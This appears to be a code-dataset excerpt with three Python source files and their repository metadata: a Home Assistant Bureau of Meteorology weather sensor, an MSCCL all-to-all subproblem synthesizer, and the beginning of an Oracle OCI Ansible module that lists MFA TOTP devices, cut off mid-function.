setup_platform(hass, config, add_entities, discovery_info=None): """Set up the BOM sensor.""" station = config.get(CONF_STATION) zone_id, wmo_id = config.get(CONF_ZONE_ID), config.get(CONF_WMO_ID) if station is not None: if zone_id and wmo_id: _LOGGER.warning( "Using config %s, not %s and %s for BOM sensor", CONF_STATION, CONF_ZONE_ID, CONF_WMO_ID, ) elif zone_id and wmo_id: station = "{}.{}".format(zone_id, wmo_id) else: station = closest_station( config.get(CONF_LATITUDE), config.get(CONF_LONGITUDE), hass.config.config_dir, ) if station is None: _LOGGER.error("Could not get BOM weather station from lat/lon") return bom_data = BOMCurrentData(station) try: bom_data.update() except ValueError as err: _LOGGER.error("Received error from BOM Current: %s", err) return add_entities( [ BOMCurrentSensor(bom_data, variable, config.get(CONF_NAME)) for variable in config[CONF_MONITORED_CONDITIONS] ] ) class BOMCurrentSensor(Entity): """Implementation of a BOM current sensor.""" def __init__(self, bom_data, condition, stationname): """Initialize the sensor.""" self.bom_data = bom_data self._condition = condition self.stationname = stationname @property def name(self): """Return the name of the sensor.""" if self.stationname is None: return "BOM {}".format(SENSOR_TYPES[self._condition][0]) return "BOM {} {}".format(self.stationname, SENSOR_TYPES[self._condition][0]) @property def state(self): """Return the state of the sensor.""" return self.bom_data.get_reading(self._condition) @property def device_state_attributes(self): """Return the state attributes of the device.""" attr = { ATTR_ATTRIBUTION: ATTRIBUTION, ATTR_LAST_UPDATE: self.bom_data.last_updated, ATTR_SENSOR_ID: self._condition, ATTR_STATION_ID: self.bom_data.latest_data["wmo"], ATTR_STATION_NAME: self.bom_data.latest_data["name"], ATTR_ZONE_ID: self.bom_data.latest_data["history_product"], } return attr @property def unit_of_measurement(self): """Return the units of measurement.""" return SENSOR_TYPES[self._condition][1] def update(self): """Update current conditions.""" self.bom_data.update() class BOMCurrentData: """Get data from BOM.""" def __init__(self, station_id): """Initialize the data object.""" self._zone_id, self._wmo_id = station_id.split(".") self._data = None self.last_updated = None def _build_url(self): """Build the URL for the requests.""" url = _RESOURCE.format(self._zone_id, self._zone_id, self._wmo_id) _LOGGER.debug("BOM URL: %s", url) return url @property def latest_data(self): """Return the latest data object.""" if self._data: return self._data[0] return None def get_reading(self, condition): """Return the value for the given condition. BOM weather publishes condition readings for weather (and a few other conditions) at intervals throughout the day. To avoid a `-` value in the frontend for these conditions, we traverse the historical data for the latest value that is not `-`. Iterators are used in this method to avoid iterating needlessly through the entire BOM provided dataset. """ condition_readings = (entry[condition] for entry in self._data) return next((x for x in condition_readings if x != "-"), None) def should_update(self): """Determine whether an update should occur. BOM provides updated data every 30 minutes. We manually define refreshing logic here rather than a throttle to keep updates in lock-step with BOM. If 35 minutes has passed since the last BOM data update, then an update should be done. """ if self.last_updated is None: # Never updated before, therefore an update should occur. return True now = datetime.datetime.now() update_due_at = self.last_updated + datetime.timedelta(minutes=35) return now > update_due_at @Throttle(MIN_TIME_BETWEEN_UPDATES) def update(self): """Get the latest data from BOM.""" if not self.should_update(): _LOGGER.debug( "BOM was updated %s minutes ago, skipping update as" " < 35 minutes, Now: %s, LastUpdate: %s", (datetime.datetime.now() - self.last_updated), datetime.datetime.now(), self.last_updated, ) return try: result = requests.get(self._build_url(), timeout=10).json() self._data = result["observations"]["data"] # set lastupdate using self._data[0] as the first element in the # array is the latest date in the json self.last_updated = datetime.datetime.strptime( str(self._data[0]["local_date_time_full"]), "%Y%m%d%H%M%S" ) return except ValueError as err: _LOGGER.error("Check BOM %s", err.args) self._data = None raise def _get_bom_stations(): """Return {CONF_STATION: (lat, lon)} for all stations, for auto-config. This function does several MB of internet requests, so please use the caching version to minimise latency and hit-count. """ latlon = {} with io.BytesIO() as file_obj: with ftplib.FTP("ftp.bom.gov.au") as ftp: ftp.login() ftp.cwd("anon2/home/ncc/metadata/sitelists") ftp.retrbinary("RETR stations.zip", file_obj.write) file_obj.seek(0) with zipfile.ZipFile(file_obj) as zipped: with zipped.open("stations.txt") as station_txt: for _ in range(4): station_txt.readline() # skip header while True: line = station_txt.readline().decode().strip() if len(line) < 120: break # end while loop, ignoring any footer text wmo, lat, lon = ( line[a:b].strip() for a, b in [(128, 134), (70, 78), (79, 88)] ) if wmo != "..": latlon[wmo] = (float(lat), float(lon)) zones = {} pattern = ( r'<a href="/products/(?P<zone>ID[A-Z]\d\d\d\d\d)/' r'(?P=zone)\.(?P<wmo>\d\d\d\d\d).shtml">' ) for state in ("nsw", "vic", "qld", "wa", "tas", "nt"): url = "http://www.bom.gov.au/{0}/observations/{0}all.shtml".format(state) for zone_id, wmo_id in re.findall(pattern, requests.get(url).text): zones[wmo_id] = zone_id return {"{}.{}".format(zones[k], k): latlon[k] for k in set(latlon) & set(zones)} def bom_stations(cache_dir): """Return {CONF_STATION: (lat, lon)} for all stations, for auto-config. Results from internet requests are cached as compressed JSON, making subsequent calls very much faster. """ cache_file = os.path.join(cache_dir, ".bom-stations.json.gz") if not os.path.isfile(cache_file): stations = _get_bom_stations() with gzip.open(cache_file, "wt") as cache: json.dump(stations, cache, sort_keys=True) return stations with gzip.open(cache_file, "rt") as cache: return {k: tuple(v) for k, v in json.load(cache).items()} def closest_station(lat, lon, cache_dir): """Return the ZONE_ID.WMO_ID of the closest station to our lat/lon.""" if lat is None or lon is None or not os.path.isdir(cache_dir): return stations = bom_stations(cache_dir) def comparable_dist(wmo_id): """Create a psudeo-distance from latitude/longitude.""" station_lat, station_lon = stations[wmo_id] return (lat - station_lat) ** 2 + (lon - station_lon) ** 2 return min(stations, key=comparable_dist)

33.880466

86

0.61234

import datetime import ftplib import gzip import io import json import logging import os import re import zipfile import requests import voluptuous as vol import homeassistant.helpers.config_validation as cv from homeassistant.components.sensor import PLATFORM_SCHEMA from homeassistant.const import ( CONF_MONITORED_CONDITIONS, TEMP_CELSIUS, CONF_NAME, ATTR_ATTRIBUTION, CONF_LATITUDE, CONF_LONGITUDE, ) from homeassistant.helpers.entity import Entity from homeassistant.util import Throttle _RESOURCE = "http://www.bom.gov.au/fwo/{}/{}.{}.json" _LOGGER = logging.getLogger(__name__) ATTR_LAST_UPDATE = "last_update" ATTR_SENSOR_ID = "sensor_id" ATTR_STATION_ID = "station_id" ATTR_STATION_NAME = "station_name" ATTR_ZONE_ID = "zone_id" ATTRIBUTION = "Data provided by the Australian Bureau of Meteorology" CONF_STATION = "station" CONF_ZONE_ID = "zone_id" CONF_WMO_ID = "wmo_id" MIN_TIME_BETWEEN_UPDATES = datetime.timedelta(seconds=60) SENSOR_TYPES = { "wmo": ["wmo", None], "name": ["Station Name", None], "history_product": ["Zone", None], "local_date_time": ["Local Time", None], "local_date_time_full": ["Local Time Full", None], "aifstime_utc": ["UTC Time Full", None], "lat": ["Lat", None], "lon": ["Long", None], "apparent_t": ["Feels Like C", TEMP_CELSIUS], "cloud": ["Cloud", None], "cloud_base_m": ["Cloud Base", None], "cloud_oktas": ["Cloud Oktas", None], "cloud_type_id": ["Cloud Type ID", None], "cloud_type": ["Cloud Type", None], "delta_t": ["Delta Temp C", TEMP_CELSIUS], "gust_kmh": ["Wind Gust kmh", "km/h"], "gust_kt": ["Wind Gust kt", "kt"], "air_temp": ["Air Temp C", TEMP_CELSIUS], "dewpt": ["Dew Point C", TEMP_CELSIUS], "press": ["Pressure mb", "mbar"], "press_qnh": ["Pressure qnh", "qnh"], "press_msl": ["Pressure msl", "msl"], "press_tend": ["Pressure Tend", None], "rain_trace": ["Rain Today", "mm"], "rel_hum": ["Relative Humidity", "%"], "sea_state": ["Sea State", None], "swell_dir_worded": ["Swell Direction", None], "swell_height": ["Swell Height", "m"], "swell_period": ["Swell Period", None], "vis_km": ["Visability km", "km"], "weather": ["Weather", None], "wind_dir": ["Wind Direction", None], "wind_spd_kmh": ["Wind Speed kmh", "km/h"], "wind_spd_kt": ["Wind Speed kt", "kt"], } def validate_station(station): if station is None: return station = station.replace(".shtml", "") if not re.fullmatch(r"ID[A-Z]\d\d\d\d\d\.\d\d\d\d\d", station): raise vol.error.Invalid("Malformed station ID") return station PLATFORM_SCHEMA = PLATFORM_SCHEMA.extend( { vol.Inclusive(CONF_ZONE_ID, "Deprecated partial station ID"): cv.string, vol.Inclusive(CONF_WMO_ID, "Deprecated partial station ID"): cv.string, vol.Optional(CONF_NAME): cv.string, vol.Optional(CONF_STATION): validate_station, vol.Required(CONF_MONITORED_CONDITIONS, default=[]): vol.All( cv.ensure_list, [vol.In(SENSOR_TYPES)] ), } ) def setup_platform(hass, config, add_entities, discovery_info=None): station = config.get(CONF_STATION) zone_id, wmo_id = config.get(CONF_ZONE_ID), config.get(CONF_WMO_ID) if station is not None: if zone_id and wmo_id: _LOGGER.warning( "Using config %s, not %s and %s for BOM sensor", CONF_STATION, CONF_ZONE_ID, CONF_WMO_ID, ) elif zone_id and wmo_id: station = "{}.{}".format(zone_id, wmo_id) else: station = closest_station( config.get(CONF_LATITUDE), config.get(CONF_LONGITUDE), hass.config.config_dir, ) if station is None: _LOGGER.error("Could not get BOM weather station from lat/lon") return bom_data = BOMCurrentData(station) try: bom_data.update() except ValueError as err: _LOGGER.error("Received error from BOM Current: %s", err) return add_entities( [ BOMCurrentSensor(bom_data, variable, config.get(CONF_NAME)) for variable in config[CONF_MONITORED_CONDITIONS] ] ) class BOMCurrentSensor(Entity): def __init__(self, bom_data, condition, stationname): self.bom_data = bom_data self._condition = condition self.stationname = stationname @property def name(self): if self.stationname is None: return "BOM {}".format(SENSOR_TYPES[self._condition][0]) return "BOM {} {}".format(self.stationname, SENSOR_TYPES[self._condition][0]) @property def state(self): return self.bom_data.get_reading(self._condition) @property def device_state_attributes(self): attr = { ATTR_ATTRIBUTION: ATTRIBUTION, ATTR_LAST_UPDATE: self.bom_data.last_updated, ATTR_SENSOR_ID: self._condition, ATTR_STATION_ID: self.bom_data.latest_data["wmo"], ATTR_STATION_NAME: self.bom_data.latest_data["name"], ATTR_ZONE_ID: self.bom_data.latest_data["history_product"], } return attr @property def unit_of_measurement(self): return SENSOR_TYPES[self._condition][1] def update(self): self.bom_data.update() class BOMCurrentData: def __init__(self, station_id): self._zone_id, self._wmo_id = station_id.split(".") self._data = None self.last_updated = None def _build_url(self): url = _RESOURCE.format(self._zone_id, self._zone_id, self._wmo_id) _LOGGER.debug("BOM URL: %s", url) return url @property def latest_data(self): if self._data: return self._data[0] return None def get_reading(self, condition): condition_readings = (entry[condition] for entry in self._data) return next((x for x in condition_readings if x != "-"), None) def should_update(self): if self.last_updated is None: return True now = datetime.datetime.now() update_due_at = self.last_updated + datetime.timedelta(minutes=35) return now > update_due_at @Throttle(MIN_TIME_BETWEEN_UPDATES) def update(self): if not self.should_update(): _LOGGER.debug( "BOM was updated %s minutes ago, skipping update as" " < 35 minutes, Now: %s, LastUpdate: %s", (datetime.datetime.now() - self.last_updated), datetime.datetime.now(), self.last_updated, ) return try: result = requests.get(self._build_url(), timeout=10).json() self._data = result["observations"]["data"] self.last_updated = datetime.datetime.strptime( str(self._data[0]["local_date_time_full"]), "%Y%m%d%H%M%S" ) return except ValueError as err: _LOGGER.error("Check BOM %s", err.args) self._data = None raise def _get_bom_stations(): latlon = {} with io.BytesIO() as file_obj: with ftplib.FTP("ftp.bom.gov.au") as ftp: ftp.login() ftp.cwd("anon2/home/ncc/metadata/sitelists") ftp.retrbinary("RETR stations.zip", file_obj.write) file_obj.seek(0) with zipfile.ZipFile(file_obj) as zipped: with zipped.open("stations.txt") as station_txt: for _ in range(4): station_txt.readline() while True: line = station_txt.readline().decode().strip() if len(line) < 120: break wmo, lat, lon = ( line[a:b].strip() for a, b in [(128, 134), (70, 78), (79, 88)] ) if wmo != "..": latlon[wmo] = (float(lat), float(lon)) zones = {} pattern = ( r'<a href="/products/(?P<zone>ID[A-Z]\d\d\d\d\d)/' r'(?P=zone)\.(?P<wmo>\d\d\d\d\d).shtml">' ) for state in ("nsw", "vic", "qld", "wa", "tas", "nt"): url = "http://www.bom.gov.au/{0}/observations/{0}all.shtml".format(state) for zone_id, wmo_id in re.findall(pattern, requests.get(url).text): zones[wmo_id] = zone_id return {"{}.{}".format(zones[k], k): latlon[k] for k in set(latlon) & set(zones)} def bom_stations(cache_dir): cache_file = os.path.join(cache_dir, ".bom-stations.json.gz") if not os.path.isfile(cache_file): stations = _get_bom_stations() with gzip.open(cache_file, "wt") as cache: json.dump(stations, cache, sort_keys=True) return stations with gzip.open(cache_file, "rt") as cache: return {k: tuple(v) for k, v in json.load(cache).items()} def closest_station(lat, lon, cache_dir): if lat is None or lon is None or not os.path.isdir(cache_dir): return stations = bom_stations(cache_dir) def comparable_dist(wmo_id): station_lat, station_lon = stations[wmo_id] return (lat - station_lat) ** 2 + (lon - station_lon) ** 2 return min(stations, key=comparable_dist)

true

790b2e75e195f6e48d17b20887b50e09e339d377

10,140

py

Python

msccl/distributors/alltoall_subproblem.py

angelica-moreira/sccl

db40eb2e8ec43990686739a1be0893e69ae99f06

[ "MIT" ]

1

2022-03-03T02:33:15.000Z

msccl/distributors/alltoall_subproblem.py

angelica-moreira/sccl

db40eb2e8ec43990686739a1be0893e69ae99f06

[ "MIT" ]

null

msccl/distributors/alltoall_subproblem.py

angelica-moreira/sccl

db40eb2e8ec43990686739a1be0893e69ae99f06

[ "MIT" ]

null

# Copyright (c) Microsoft Corporation. # Licensed under the MIT License. from msccl.collectives import * from msccl.algorithm import * from msccl.instance import * from msccl.topologies import * def _alltoall_subproblem(local_nodes, num_copies): remote_node = local_nodes local_end = local_nodes * local_nodes num_remote_pairs = (num_copies - 1) * local_nodes * local_nodes remote_out_end = local_end + num_remote_pairs num_chunks = remote_out_end + num_remote_pairs def cases(chunk, local,remote_out,remote_in): if chunk < local_end: return local(chunk) elif chunk < remote_out_end: return remote_out(chunk - local_end) else: return remote_in(chunk - remote_out_end) def pre(rank, chunk): return cases(chunk, lambda c: rank == c % local_nodes, lambda c: rank == (c // (num_copies - 1)) % local_nodes, lambda c: rank == remote_node) def post(rank, chunk): return cases(chunk, lambda c: rank == c // local_nodes, lambda c: rank == remote_node, lambda c: rank == (c // (num_copies - 1)) // local_nodes) def trigger(rank, chunk): if rank == remote_node: return cases(chunk, lambda c: None, lambda c: chunk + num_remote_pairs, lambda c: chunk - num_remote_pairs) else: return None return build_collective(f'AlltoallSubproblem(n={local_nodes},copies={num_copies})', local_nodes + 1, num_chunks, pre, post, trigger=trigger) def make_alltoall_subproblem_collective_and_topology(topology, num_copies, relay_nodes, bw = 1, share_bw = False): local_nodes = topology.num_nodes() remote_node = local_nodes links = [[0 for _ in range(local_nodes + 1)] for _ in range(local_nodes + 1)] for src in range(local_nodes): for dst in range(local_nodes): links[dst][src] = topology.link(src, dst) for relay in relay_nodes: links[remote_node][relay] = bw links[relay][remote_node] = bw switches = topology.switches.copy() if share_bw: switches.append((relay_nodes, [num_nodes + 1], bw, 'remote_out')) switches.append(([num_nodes + 1], relay_nodes, bw, 'remote_in')) collective = _alltoall_subproblem(local_nodes, num_copies) topology = Topology(f'Subtopo(local={topology.name},relays=({",".join(str(i) for i in relay_nodes)}))', links, topology.switches) return collective, topology def synthesize_alltoall_subproblem(subproblem_algo, num_copies, logging=False): if subproblem_algo.is_pipelined(): raise ValueError('Pipelining is not supported.') local_topology = subproblem_algo.topology chunks = subproblem_algo.instance.chunks local_nodes = local_topology.num_nodes() - 1 remote_node = local_nodes nodes = local_nodes * num_copies collective = alltoall(nodes).chunk_up(chunks) # Create a distributed topology where copies of relay nodes that connect to the remote node in the subproblem # topology are connected to all the relay nodes in the other copies. links = [[0 for _ in range(nodes)] for _ in range(nodes)] for dst in range(nodes): for src in range(nodes): local_src = src % local_nodes local_dst = dst % local_nodes if src // local_nodes != dst // local_nodes: bw = min(local_topology.link(local_src, remote_node), local_topology.link(remote_node, local_dst)) links[dst][src] = bw else: links[dst][src] = local_topology.link(local_src, local_dst) # Also make copies of switches with a similar expansion of the remote node into the nodes of other copies. switches = [] for srcs, dsts, bw, name in local_topology.switches: for i in range(num_copies): def to_dist(ranks): for rank in ranks: if rank < remote_node: # Non-remote nodes are just translated to the distributed numbering of ranks. yield rank + i * local_nodes else: # Include all remote nodes in the switch. This is fine because the links already limit # connectivity to just the relay nodes. for r in range(nodes): if r // local_nodes != i: yield r dist_srcs = list(to_dist(srcs)) dist_dsts = list(to_dist(dsts)) switches.append((dist_srcs, dist_dsts, bw, f'copy_{i}_{name}_local')) topology = Topology(f'Stiched(sub={local_topology.name},copies={num_copies})', links, switches) def nth_chunk_for_pair(src, dst, idx): # The following chunk calculation respects both the _scattered and _transpose # pre/postconditions in Alltoall. When substituting it in: # -the precondition (chunk % self.num_nodes) simplifies to src # -the postcondition ((chunk // self.num_nodes) % self.num_nodes) simplifies to dst return (src + dst * collective.num_nodes) * chunks + idx steps = [] # Calculate the ranges of the differently handled chunks local_end = local_nodes * local_nodes num_remote_pairs = (num_copies - 1) * local_nodes * local_nodes remote_out_end = local_end + num_remote_pairs num_chunks = remote_out_end + num_remote_pairs for local_step in subproblem_algo.steps: sends = [] # These are used to track operations involving remote nodes that get matched with another operation in the same # step. unmatched_sends = {} unmatched_recvs = {} # Stitch together copies of the subproblem algorithm for chunk, src, dst in local_step.sends: for i in range(num_copies): def to_dist(rank): # Translates ranks from the local to the distributed topology return rank + i * local_nodes def other_start(c): # Given a relative remote chunk return local rank 0 in the copy it corresponds to other_i = c % (num_copies - 1) if other_i >= i: other_i += 1 return other_i * local_nodes # Calculate origin and target ranks that match the Alltoall pre/postconditions if chunk < local_end: assert src != remote_node and dst != remote_node origin = to_dist((chunk // chunks) % local_nodes) target = to_dist((chunk // chunks) // local_nodes) # Check that the origin and target calculation match the local collective assert subproblem_algo.collective.precondition(origin % local_nodes, chunk) assert subproblem_algo.collective.postcondition(target % local_nodes, chunk) elif chunk < remote_out_end: c = chunk - local_end local_origin = ((c // chunks) // (num_copies - 1)) % local_nodes origin = to_dist(local_origin) target = other_start(c) + ((c // (num_copies - 1))) // local_nodes # Check that the origin and target calculation match the local collective assert subproblem_algo.collective.precondition(local_origin, chunk) assert subproblem_algo.collective.postcondition(target % local_nodes, chunk + num_remote_pairs) else: assert chunk < num_chunks c = chunk - remote_out_end local_target = ((c // chunks) // (num_copies - 1)) // local_nodes target = to_dist(local_target) origin = other_start(c) + ((c // (num_copies - 1))) % local_nodes # Check that the origin and target calculation match the local collective assert subproblem_algo.collective.precondition(origin % local_nodes, chunk - num_remote_pairs) assert subproblem_algo.collective.postcondition(local_target, chunk) # Get the chunk number in the distributed algorithm chunk_idx = chunk % chunks # Translate send src and dst to distributed space and add the send to the distributed algorithm dist_chunk = nth_chunk_for_pair(origin, target, chunk_idx) if dst == remote_node: assert chunk < remote_out_end # Sends to remote nodes have to find a matched receive if dist_chunk in unmatched_recvs: dist_dst = unmatched_recvs.pop(dist_chunk) sends.append((dist_chunk, to_dist(src), dist_dst)) else: unmatched_sends[dist_chunk] = to_dist(src) elif src == remote_node: assert chunk < num_chunks # Receives from remote nodes have to find a matched send if dist_chunk in unmatched_sends: dist_src = unmatched_sends.pop(dist_chunk) sends.append((dist_chunk, dist_src, to_dist(dst))) else: unmatched_recvs[dist_chunk] = to_dist(dst) else: # Sends locally are just translated to the new distributed space of ranks sends.append((dist_chunk, to_dist(src), to_dist(dst))) if len(unmatched_sends) > 0 or len(unmatched_recvs) > 0: raise ValueError('Subproblem algorithm has unpaired sends/recvs.') steps.append(Step(local_step.rounds, sends)) instance = Instance( steps=len(steps), extra_rounds=sum(step.rounds - 1 for step in steps), chunks=chunks, ) return Algorithm.make_implementation(collective, topology, instance, steps)

45.267857

133

0.60355

from msccl.collectives import * from msccl.algorithm import * from msccl.instance import * from msccl.topologies import * def _alltoall_subproblem(local_nodes, num_copies): remote_node = local_nodes local_end = local_nodes * local_nodes num_remote_pairs = (num_copies - 1) * local_nodes * local_nodes remote_out_end = local_end + num_remote_pairs num_chunks = remote_out_end + num_remote_pairs def cases(chunk, local,remote_out,remote_in): if chunk < local_end: return local(chunk) elif chunk < remote_out_end: return remote_out(chunk - local_end) else: return remote_in(chunk - remote_out_end) def pre(rank, chunk): return cases(chunk, lambda c: rank == c % local_nodes, lambda c: rank == (c // (num_copies - 1)) % local_nodes, lambda c: rank == remote_node) def post(rank, chunk): return cases(chunk, lambda c: rank == c // local_nodes, lambda c: rank == remote_node, lambda c: rank == (c // (num_copies - 1)) // local_nodes) def trigger(rank, chunk): if rank == remote_node: return cases(chunk, lambda c: None, lambda c: chunk + num_remote_pairs, lambda c: chunk - num_remote_pairs) else: return None return build_collective(f'AlltoallSubproblem(n={local_nodes},copies={num_copies})', local_nodes + 1, num_chunks, pre, post, trigger=trigger) def make_alltoall_subproblem_collective_and_topology(topology, num_copies, relay_nodes, bw = 1, share_bw = False): local_nodes = topology.num_nodes() remote_node = local_nodes links = [[0 for _ in range(local_nodes + 1)] for _ in range(local_nodes + 1)] for src in range(local_nodes): for dst in range(local_nodes): links[dst][src] = topology.link(src, dst) for relay in relay_nodes: links[remote_node][relay] = bw links[relay][remote_node] = bw switches = topology.switches.copy() if share_bw: switches.append((relay_nodes, [num_nodes + 1], bw, 'remote_out')) switches.append(([num_nodes + 1], relay_nodes, bw, 'remote_in')) collective = _alltoall_subproblem(local_nodes, num_copies) topology = Topology(f'Subtopo(local={topology.name},relays=({",".join(str(i) for i in relay_nodes)}))', links, topology.switches) return collective, topology def synthesize_alltoall_subproblem(subproblem_algo, num_copies, logging=False): if subproblem_algo.is_pipelined(): raise ValueError('Pipelining is not supported.') local_topology = subproblem_algo.topology chunks = subproblem_algo.instance.chunks local_nodes = local_topology.num_nodes() - 1 remote_node = local_nodes nodes = local_nodes * num_copies collective = alltoall(nodes).chunk_up(chunks) links = [[0 for _ in range(nodes)] for _ in range(nodes)] for dst in range(nodes): for src in range(nodes): local_src = src % local_nodes local_dst = dst % local_nodes if src // local_nodes != dst // local_nodes: bw = min(local_topology.link(local_src, remote_node), local_topology.link(remote_node, local_dst)) links[dst][src] = bw else: links[dst][src] = local_topology.link(local_src, local_dst) switches = [] for srcs, dsts, bw, name in local_topology.switches: for i in range(num_copies): def to_dist(ranks): for rank in ranks: if rank < remote_node: yield rank + i * local_nodes else: for r in range(nodes): if r // local_nodes != i: yield r dist_srcs = list(to_dist(srcs)) dist_dsts = list(to_dist(dsts)) switches.append((dist_srcs, dist_dsts, bw, f'copy_{i}_{name}_local')) topology = Topology(f'Stiched(sub={local_topology.name},copies={num_copies})', links, switches) def nth_chunk_for_pair(src, dst, idx): return (src + dst * collective.num_nodes) * chunks + idx steps = [] local_end = local_nodes * local_nodes num_remote_pairs = (num_copies - 1) * local_nodes * local_nodes remote_out_end = local_end + num_remote_pairs num_chunks = remote_out_end + num_remote_pairs for local_step in subproblem_algo.steps: sends = [] unmatched_sends = {} unmatched_recvs = {} for chunk, src, dst in local_step.sends: for i in range(num_copies): def to_dist(rank): return rank + i * local_nodes def other_start(c): other_i = c % (num_copies - 1) if other_i >= i: other_i += 1 return other_i * local_nodes if chunk < local_end: assert src != remote_node and dst != remote_node origin = to_dist((chunk // chunks) % local_nodes) target = to_dist((chunk // chunks) // local_nodes) assert subproblem_algo.collective.precondition(origin % local_nodes, chunk) assert subproblem_algo.collective.postcondition(target % local_nodes, chunk) elif chunk < remote_out_end: c = chunk - local_end local_origin = ((c // chunks) // (num_copies - 1)) % local_nodes origin = to_dist(local_origin) target = other_start(c) + ((c // (num_copies - 1))) // local_nodes assert subproblem_algo.collective.precondition(local_origin, chunk) assert subproblem_algo.collective.postcondition(target % local_nodes, chunk + num_remote_pairs) else: assert chunk < num_chunks c = chunk - remote_out_end local_target = ((c // chunks) // (num_copies - 1)) // local_nodes target = to_dist(local_target) origin = other_start(c) + ((c // (num_copies - 1))) % local_nodes assert subproblem_algo.collective.precondition(origin % local_nodes, chunk - num_remote_pairs) assert subproblem_algo.collective.postcondition(local_target, chunk) chunk_idx = chunk % chunks dist_chunk = nth_chunk_for_pair(origin, target, chunk_idx) if dst == remote_node: assert chunk < remote_out_end if dist_chunk in unmatched_recvs: dist_dst = unmatched_recvs.pop(dist_chunk) sends.append((dist_chunk, to_dist(src), dist_dst)) else: unmatched_sends[dist_chunk] = to_dist(src) elif src == remote_node: assert chunk < num_chunks if dist_chunk in unmatched_sends: dist_src = unmatched_sends.pop(dist_chunk) sends.append((dist_chunk, dist_src, to_dist(dst))) else: unmatched_recvs[dist_chunk] = to_dist(dst) else: sends.append((dist_chunk, to_dist(src), to_dist(dst))) if len(unmatched_sends) > 0 or len(unmatched_recvs) > 0: raise ValueError('Subproblem algorithm has unpaired sends/recvs.') steps.append(Step(local_step.rounds, sends)) instance = Instance( steps=len(steps), extra_rounds=sum(step.rounds - 1 for step in steps), chunks=chunks, ) return Algorithm.make_implementation(collective, topology, instance, steps)

true

790b3063b426f898769b92541a7cd32a79c0cecb

8,111

py

Python

plugins/modules/oci_identity_mfa_totp_device_facts.py

hanielburton/oci-ansible-collection

dfdffde637f746d346ba35569be8c3a3407022f2

[ "Apache-2.0" ]

null

plugins/modules/oci_identity_mfa_totp_device_facts.py

hanielburton/oci-ansible-collection

dfdffde637f746d346ba35569be8c3a3407022f2

[ "Apache-2.0" ]

null

plugins/modules/oci_identity_mfa_totp_device_facts.py

hanielburton/oci-ansible-collection

dfdffde637f746d346ba35569be8c3a3407022f2

[ "Apache-2.0" ]

null

#!/usr/bin/python # Copyright (c) 2017, 2021 Oracle and/or its affiliates. # This software is made available to you under the terms of the GPL 3.0 license or the Apache 2.0 license. # GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt) # Apache License v2.0 # See LICENSE.TXT for details. # GENERATED FILE - DO NOT EDIT - MANUAL CHANGES WILL BE OVERWRITTEN from __future__ import absolute_import, division, print_function __metaclass__ = type ANSIBLE_METADATA = { "metadata_version": "1.1", "status": ["preview"], "supported_by": "community", } DOCUMENTATION = """ --- module: oci_identity_mfa_totp_device_facts short_description: Fetches details about one or multiple MfaTotpDevice resources in Oracle Cloud Infrastructure description: - Fetches details about one or multiple MfaTotpDevice resources in Oracle Cloud Infrastructure - Lists the MFA TOTP devices for the specified user. The returned object contains the device's OCID, but not the seed. The seed is returned only upon creation or when the IAM service regenerates the MFA seed for the device. - If I(mfa_totp_device_id) is specified, the details of a single MfaTotpDevice will be returned. version_added: "2.9" author: Oracle (@oracle) options: user_id: description: - The OCID of the user. type: str required: true mfa_totp_device_id: description: - The OCID of the MFA TOTP device. - Required to get a specific mfa_totp_device. type: str aliases: ["id"] sort_by: description: - The field to sort by. You can provide one sort order (`sortOrder`). Default order for TIMECREATED is descending. Default order for NAME is ascending. The NAME sort order is case sensitive. - "**Note:** In general, some \\"List\\" operations (for example, `ListInstances`) let you optionally filter by Availability Domain if the scope of the resource type is within a single Availability Domain. If you call one of these \\"List\\" operations without specifying an Availability Domain, the resources are grouped by Availability Domain, then sorted." type: str choices: - "TIMECREATED" - "NAME" sort_order: description: - The sort order to use, either ascending (`ASC`) or descending (`DESC`). The NAME sort order is case sensitive. type: str choices: - "ASC" - "DESC" extends_documentation_fragment: [ oracle.oci.oracle ] """ EXAMPLES = """ - name: List mfa_totp_devices oci_identity_mfa_totp_device_facts: user_id: ocid1.user.oc1..xxxxxxEXAMPLExxxxxx - name: Get a specific mfa_totp_device oci_identity_mfa_totp_device_facts: user_id: ocid1.user.oc1..xxxxxxEXAMPLExxxxxx mfa_totp_device_id: ocid1.mfatotpdevice.oc1..xxxxxxEXAMPLExxxxxx """ RETURN = """ mfa_totp_devices: description: - List of MfaTotpDevice resources returned: on success type: complex contains: id: description: - The OCID of the MFA TOTP Device. returned: on success type: string sample: ocid1.resource.oc1..xxxxxxEXAMPLExxxxxx user_id: description: - The OCID of the user the MFA TOTP device belongs to. returned: on success type: string sample: ocid1.user.oc1..xxxxxxEXAMPLExxxxxx time_created: description: - Date and time the `MfaTotpDevice` object was created, in the format defined by RFC3339. - "Example: `2016-08-25T21:10:29.600Z`" returned: on success type: string sample: 2016-08-25T21:10:29.600Z time_expires: description: - Date and time when this MFA TOTP device will expire, in the format defined by RFC3339. Null if it never expires. - "Example: `2016-08-25T21:10:29.600Z`" returned: on success type: string sample: 2016-08-25T21:10:29.600Z lifecycle_state: description: - The MFA TOTP device's current state. returned: on success type: string sample: CREATING inactive_status: description: - "The detailed status of INACTIVE lifecycleState. Allowed values are: - 1 - SUSPENDED - 2 - DISABLED - 4 - BLOCKED - 8 - LOCKED" returned: on success type: int sample: 56 is_activated: description: - Flag to indicate if the MFA TOTP device has been activated returned: on success type: bool sample: true sample: [{ "id": "ocid1.resource.oc1..xxxxxxEXAMPLExxxxxx", "user_id": "ocid1.user.oc1..xxxxxxEXAMPLExxxxxx", "time_created": "2016-08-25T21:10:29.600Z", "time_expires": "2016-08-25T21:10:29.600Z", "lifecycle_state": "CREATING", "inactive_status": 56, "is_activated": true }] """ from ansible.module_utils.basic import AnsibleModule from ansible_collections.oracle.oci.plugins.module_utils import oci_common_utils from ansible_collections.oracle.oci.plugins.module_utils.oci_resource_utils import ( OCIResourceFactsHelperBase, get_custom_class, ) try: from oci.identity import IdentityClient HAS_OCI_PY_SDK = True except ImportError: HAS_OCI_PY_SDK = False class MfaTotpDeviceFactsHelperGen(OCIResourceFactsHelperBase): """Supported operations: get, list""" def get_required_params_for_get(self): return [ "user_id", "mfa_totp_device_id", ] def get_required_params_for_list(self): return [ "user_id", ] def get_resource(self): return oci_common_utils.call_with_backoff( self.client.get_mfa_totp_device, user_id=self.module.params.get("user_id"), mfa_totp_device_id=self.module.params.get("mfa_totp_device_id"), ) def list_resources(self): optional_list_method_params = [ "sort_by", "sort_order", ] optional_kwargs = dict( (param, self.module.params[param]) for param in optional_list_method_params if self.module.params.get(param) is not None ) return oci_common_utils.list_all_resources( 